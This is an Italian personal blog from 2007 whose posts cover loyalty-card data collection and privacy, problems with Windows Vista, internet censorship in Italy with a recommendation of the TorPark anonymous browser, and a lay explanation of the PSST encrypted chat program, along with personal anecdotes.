
Se tutte le risorse spese ad inventare e produrre taser, raggi del dolore e nuove armi più o meno innovative venissero convogliate per risolvere problemi molto più gravi come fame e malattie, che mondo sarebbe?
Ma daltronde, chi ci guadagnerebbe? Nessuno...di importante...
Estás en el planeta eskoria, bienvenido al planeta eskoria!

Timeo Danaos et dona ferentes

2007-09-20T15:44:00.000+02:00

E' una frase del I secolo a.C. eppure attualissima. "Temo i Greci anche quando portano doni", è questo il significato della frase ed è questa la scusa per iniziare il discorso di oggi: cosa si nasconde dietro alle raccolte punti?
Un gesto banale, ingenuo. Andiamo a fare la spesa, andiamo in libreria, in profumeria e, al momento di pagare, consegniamo la tesserina che verrà caricata con i punti della spesa. Una volta raggiunta la soglia questi punti diventeranno sconti, premi, ecc.
Sono tutti così buoni? I negozianti vogliono premiare i clienti più assidui? Forse..ma dopo anni ho imparato a diffidare..proviamo a guardare la cosa dalla loro parte. Cosa succede dall'altra parte della barricata?
Oggi tutti i negozi, chi più chi meno, sono informatizzati. Tutti i prodotti vengono letti dalle casse tramite il codice a barre e c'è un database che contiene i codici di tutti i prodotti. Il codice è univoco, e quindi ad ogni codice corrisponde un solo prodotto, con tutte le sue caratteristiche.
C'è anche un database con tutte le tessere dei punti, e con tutti i dati anagrafici dei clienti.
Il gioco è semplice, si associano i codici prodotto con i codici cliente. Così, grazie ad appositi programmi, è possibile sapere tutto lo storico di tutti gli acquisti di ogni utente. Tutto organizzatissimo e tutto automatizzato.
Tutta questa potenza a cosa può servire? A tenere traccia dei punti raccolti? No..non solo..
In realtà i premi sono una scusa per nascondere ricerche di mercato, analisi, tracciati.
Loro sanno tutto di tutti. Pensiamo ad un supermercato..non solo potrà sapere quanti prodotti ha venduto, quanti ne ha ancora in magazzino, ecc ma potrà anche sapere chi ha comprato cosa. Possono sapere esattamente quali sono i gusti e gli interessi di ogni singolo cliente. Se un cliente ha comprato un lettore dvd probabilmente potranno interessargli anche dei dvd..e quindi si potrà inviare pubblicità mirata. Chi acquista spesso merendine potrebbe avere dei figli a cui interessano giochi. Chi compra articoli costosi potrebbe avere un trattamento diverso da chi invece ha un occhio per il risparmio. Nei casi più spinti si può controllare se vendono di più i prodotti in una determinata posizione, con una determinata confezione, in determinati periodi ecc.
Quando incontrate qualcuno che lavora nel settore sappiate che può sapere anche se avete avuto mal di pancia, dalla quantità di carta igenica acquistata. O se le cose con vostra moglie (o con la vostra amante) vanno bene, dalla quantità di profilattici acquistati.
Ora pensiamo a quando acquistiamo un computer. Si può associare un cliente ad un singolo computer, essendo un prodotto piuttosto costoso, e il computer nella maggior parte dei casi avrà una sua licenza associata per il sistema operativo. Quanto ci metteranno a sapere anche quali sono le nostre abitudini in rete? Che siti visitiamo, che chat frequentiamo..e se vi sta passando per la mente, la risposta è NO, non basterà cancellare la cronologia per nascondere quel certo sito visitato in un momento di debolezza.....
Detto questo le domande sono: è questa la privacy? Vale la pena vendersi per una pentola o per un set di tazze? Dove ci porterà tutto questo?
Per chi crede che queste siano solo manie e paranoie, sappiate che i tempi sono maturi e gli strumenti ci sono già. E' già tutto predisposto. I grandi negozi acquistano inspiegabilmente quantità enormi di supporti di memorizzazione e sistemi di conservazione dati, rispetto a quelle che sono le loro reali necessità. E ricordate, i punti scadono, ma i dati raccolti no..
Forse da qualche parte del mondo la sperimentazione è già cominciata.
Pensateci la prossima volta..tutto parte da un semplice gesto..

(S)Vista

2007-09-15T19:51:00.000+02:00

Ebbene si..l'ho fatto..non ne potevo più..ho disinstallato..
A febbraio avevo comprato un portatile per motivi di lavoro. Visto che sembra che dal 2009 non verrà più fornito supporto per XP, ho pensato di prenderlo con Vista. In questo modo speravo di poter stare tranquillo più a lungo. I problemini di compatibilità non mi spaventavano, sono un informatico, so sistemarmi le cose da solo e comunque speravo che la cosa durasse poco, giusto il tempo di prendere piede.
I problemini invece si sono trasformati in problemi assai più grandi di quello che pensavo. Visual Studio 2003, praticamente l'unico programma di cui avessi veramente bisogno, non è supportato. Tanti programmi non erano supportati. Nemmeno MSN Messenger all'inizio veniva riconosciuto come programma valido per il nuovo sistema di casa Microsoft, e il bello è che lo fanno loro.
Sapevo che sarebbero potute accadere cose simili, ho installato una macchina virtuale con un XP (pirata: eh si..io ne avrei fatto volentieri a meno, era colpa loro se non potevo usare Vista) e ho proseguito con il mio sistema sperando in un recupero, un service pack, una patch, qualcosa che mi risolvesse i problemi.
Il tempo trascorreva, le patch uscivano e il sistema invece di migliorare peggiorava. Aveva problemi all'avvio, era diventato molto più pesante, ogni tanto si inchiodava e sono magicamente riapparse dopo tanto tempo le famose schermate blu, che io pensavo essere morte con Windows 98.
Sabato scorso, mentre stavo sviluppando come al solito, il sistema s'inchioda e mi compare una schermata blu. E' stata la goccia che ha fatto traboccare il vaso. Ho preso la bicicletta e sono andato dal rivenditore più vicino e ho acquistato per 190 euro una licenza di Windows XP Professional. Martedì è arrivata e la sera stessa ho formattato e reinstallato tutto.
Signori, per il momento sconsiglio vivamente Vista. Fregatevene del supporto in scadenza e tenetevi il vostro XP. Oppure, meglio ancora, passate a un sistema opensource se potete :D
Ciao

Vacanze finite..

2007-09-02T22:22:00.000+02:00

Purtroppo le vacanze sono finite..sono tornato..non posso più fare il gesto dell'ombrello galleggiando placidamente tra le onde..

Un post in ricordo di una magnifica vacanza. Grazie Francesca, ti amo tanto.

Bambini al guinzaglio

2007-07-24T22:18:00.000+02:00

Sono appena tornato da una passeggiata con Meg. E' successa una cosa buffa.
Stavo passeggiando sulla pista ciclabile, gruppetti di gente qua e là, biciclette, bambini.
Sento un campanello alle mie spalle. Do un comando al cane: "passo!". Il cane viene verso di me, si mette attaccato al mio piede sinistro e mi segue. Le bici passano, io premio il cane e lo lascio andare.
Qualcuno nel gruppetto di persone con bambini alle mie spalle comincia a dire ad alta voce "Eh..i cani bisogna tenerli a GUINZAGLIO..i cani...MORDONO!!".Non faccio caso alle provocazioni, e continuo a camminare per la mia strada. Le provocazioni continuano. Nel contempo altre due bici dietro a noi. Improvvisamente uno dei loro bimbi comincia a correre e si butta contro la prima bici, che inchioda improvvisamente per schivarlo. La seconda bici sfiora lo scontro con la prima, il bambino continua a correre. Parte uno dei genitori..tenta di prendere il bambino..si mette a correre. Lo raggiunge e lo prende alle mie spalle.
Io, che ho seguito la scena con la coda dell'occhio, mi giro e con tutta la calma di questo mondo dico: "Allora sono i bambini che vanno tenuti a guinzaglio, non i cani!".
Il tipo comincia ad urlarmi contro "NO, I CANI VANNO TENUTI A GUINZAGLIO, NON I BAMBINI! MA GUARDA QUESTO!". Si gira e si mette a raccontare quello che ho detto agli altri del suo gruppo che fanno gli stessi commenti, mi danno del disgraziato, ecc.
I fatti si commentano da soli. Io non sono contrario ai bambini, anzi. Sono contrario ai genitori.
Non dite ai vostri figli che i cani mordono. Gli insegnate solo ad avere un'inutile paura dei cani. E' come dirgli di non avvicinarsi agli uomini perchè uccidono. E' vero, qualche cane morde. Così come qualche uomo uccide. A dire il vero nel caso dei cani c'è un'attenuante: la colpa è sempre del padrone. Ha ragione Bukowski, l'umanità è la fogna dell'universo.

Censura: Italia come la Cina

2007-07-02T23:03:00.000+02:00

Tanti, anzi, tantissimi sono gli esempi di censura in internet. L'Italia si sta attrezzando. Basta pensare a "pretofilia", "boy love day" e al caso dei casinò. L'annuncio era stato dato. Non preoccupatevi, ci stiamo organizzando.

Questi sono precedenti pericolosissimi, prove generali di qualcosa di molto più grande che presto purtroppo sarà normale amministrazione.

Diciamolo, i pedofili mi fanno schifo, il videogioco "pretofilia" è un po' eccessivo e i casinò forse erano lasciati troppo allo sbando.
Ma creare sistemi che potranno sistematicamente bloccare alcuni siti web è pericolosissimo. Oggi vengono bloccati questi siti, domani verranno bloccati siti d'informazione e contro informazione, siti scomodi, siti che magari propongono alternative. Altri modi di pensare, altre marche, altri prodotti o programmi. Chi potrà essere tanto super partes da decidere cosa è giusto bloccare e cosa no? Chi si fida che ciò che viene bloccato è male? Chi non farebbe un pensierino sull'utilizzare il sistema per favorire gli affari suoi o di qualche suo amico? Quis custodiet ipsos custodes?

La rete è e deve rimanere libera. E' uno strumento di tutti. Il bello della rete è che qui non conta chi sei o quanti soldi hai, non c'è più forte o più debole. Qui vince chi ne sa di più. La conoscenza è potere. E questo è l'ultimo posto che ci resta per poter essere liberi e per poter attingere a quanta più conoscenza riusciamo. Non lasciamocela portare via.
Ho letto una frase un giorno che diceva più o meno: "Ho paura che un giorno i miei figli mi chiedano: papà, tu dov'eri quando hanno tolto la libertà da internet?".

Oggi presenterò un programma che consente di navigare in maniera quasi totalmente anonima, dico quasi perchè c'è sempre almeno una possibilità, non lasciatevi ingannare da chi vi da certezze. Certo questo programma è molto sicuro, forse il più sicuro in assoluto, ma non sicuro al 100%. Non esistono programmi sicuri al 100%. Consente di far passare le richieste da più nodi sparsi in giro per il mondo. In particolare nel nostro caso ci consente di eludere la censura a livello DNS messa in atto dai nostri "capoccia".
Il programma in questione è TorPark, un browser opensource (Firefox) integrato con una rete anonima (Tor).

Il funzionamento è banale quanto geniale. All'apertura di TorPark il programma si collegherà automaticamente alla rete tor e tutte le nostre richieste passeranno da tanti nodi prima di giungere a destinazione col risultato che noi risulteremo collegarci solo al primo nodo della fila e il sito risulterà richiesto dall'ultimo, che potrà essere il vicino di casa così come un server sperduto in qualche paese lontano (più probabilmente la seconda). Chi volesse saperne di più sul funzionamento della rete Tor può dare un'occhiata a queste pagine.
Da tenere presente è che il collegamento sarà più lento del solito, in proporzione a quanti nodi dovrà attraversare e alla velocità dei nodi stessi. Un piccolo prezzo da pagare per la libertà.

Chi vuole può contribuire a migliorare la rete installando un nodo tor sul proprio pc e donando un po' di banda in beneficenza così come tante altre persone la mettono a disposizione anche per noi.

Screenshot di TorPark. Notare i dati, in
particolare l'IP, completamente sballati. =)

Chat sicura

2007-06-26T23:05:00.000+02:00

PSST è un programma di istant messaging (come msn o skype per intenderci) che funziona con un sistema crittografico a chiave asimmetrica.
No, non si mangia, non è illegale e non è nemmeno difficile visto che fa tutto da solo e noi neanche ce ne accorgiamo.

In poche parole cosa succede? La spiegazione che segue non sarà ne tecnica ne approfondita. Sarà la crittografia asimmetrica for dummies :)
Quando noi apriamo il programma vengono generate due chiavi. Una può solo aprire i messaggi e l'altra può solo chiuderli. Lascio a voi approfondire il funzionamento dell'algoritmo PGP, ci basti sapere che per forzare l'apertura senza la chiave giusta ci vuole qualche migliaio di anni..un rischio accettabile :)
I programmi si scambiano le chiavi che chiudono. Da quel momento in avanti quando io manderò un messaggio ad un amico verrà utilizzata la sua chiave per chiudere il messaggio, e lui utilizzerà l'altra sua chiave per aprirlo. Vice versa quando lui scriverà a me. Così facendo durante il percorso da me a lui e da lui a me il messaggio sarà chiuso e solo il destinatario, che è in possesso della chiave per aprire, potrà leggerlo. Nemmeno il mittente potrà rileggere il messaggio da lui stesso chiuso.
Tutto questo meccanismo di apertura e chiusura viene fatto in automatico. Noi dobbiamo solo aprire il programma, scrivere e leggere. Le chiavi vengono generate nuove in automatico ogni volta che apriamo il pc e verranno scambiate in automatico. Nessuna fatica.

Vi stupireste di quanto sia facile leggere le chat in chiaro. Ogni messaggio di solito passa da diversi nodi prima di giungere dal mittente al destinatario. Ogni nodo può potenzialmente leggere il traffico che passa sul suo pc. Ora, se questo nodo è un pc disperso in Nuova Zelanda e noi stiamo raccontando alla fidanzata di quanto ci stà sulle scatole il capo può anche esserci piuttosto indifferente che qualcun altro legga i nostri dialoghi.
Ma se per caso a leggere è il collega smanettone nell'ufficio di fronte? E se durante la chattata si parla di dati più sensibili come di indirizzi di casa, numeri di telefono, conti correnti. Pensiamo a quante cose diciamo che forse potrebbero essere utilizzate da qualche malintenzionato..o da ditte senza scrupoli che fanno indagini di mercato..o da qualche ente che controlla tutti per questioni di "sicurezza".
PSST è il programma ideale per scrivere via internet stando abbastanza sicuri che ciò che scriviamo verrà letto solo dal destinatario. Con la nuova versione oltretutto è stata studiata una tecnica che evita i famosi attacchi "man in the middle" rendendo così ancora più sicuro il sistema. E con la versione 2 del programma ci promettono anche le telefonate. Speriamo..nel frattempo chattiamo in sicurezza.

Citazione su cui riflettere..

2007-06-24T23:48:00.000+02:00

[...] sapias, vina liques et spatio brevi spem longam reseces. Dum loquimur, fugerit invida aetas: carpe diem, quam minimum credula postero.
Orazio, Carm., I, 11

Che tradotto vuol dire più o meno:
[...] sii saggio, mesci il vino e regola le tue speranze a breve termine. Finchè parliamo, il tempo rapido fugge: cogli l'attimo, fiducioso meno possibile nel domani.

Presentazioni

2007-06-23T17:20:00.000+02:00

Ciao!
Dopo un anno a pensare a come poter fare il blog sul mio spazio web ho realizzato che ho troppo poco tempo per programmarlo e nessuno spazio web realmente affidabile dove pubblicarlo. Quindi in attesa di tempo e soldi da investire ho deciso di appoggiarmi a blogger ed abbandonare il vecchio pseudo-blog temporaneo in php che avevo fatto.
Perchè "Urla da Sottosuolo"? E' presto detto.
"Urla": perchè quello che scriverò vuole attirare l'attenzione della gente, il genere di effetto che si ottiene solo con un urlo molto forte. Farà il giro del mondo (o almeno potrà potenzialmente farlo) e verrà letto da tutti. Questo spazio inoltre diventerà una specie di urlo liberatorio, per scaricare la tensione, per togliermi i pensieri del giorno, o del mese, in base alla voglia che avrò di scrivere. Niente promesse, niente scadenze. Quando ho voglia scrivo. Chi vuole restare aggiornato può iscriversi al feed.
"Dal Sottosuolo": perchè, con questo blog, vorrei anche portare alla luce fatti ed argomenti che sono riservati a quelli del mestiere, a gruppi ristretti. Argomenti che non sono immediatamente visibili e che, per conoscerli, bisogna scavare a fondo. Nel mio mondo, l'informatica, si può fare di tutto. E' un campo vastissimo. Per chi non ne fa parte è difficile districarsi, fare delle scelte, venire a conoscenza di fatti, programmi, trovare alternative. Spero di poter aiutare chi ne sa meno ed essere aiutato da chi ne sa di più. Vorrei poter mostrare novità ed alternative, poi ognuno sarà libero di decidere con la propria testa. E' questo lo spirito.
Queste sono le idee di partenza. Solo il tempo dirà se riuscirò a svilupparle o rimarrà solo una giornata con lo spirito giusto.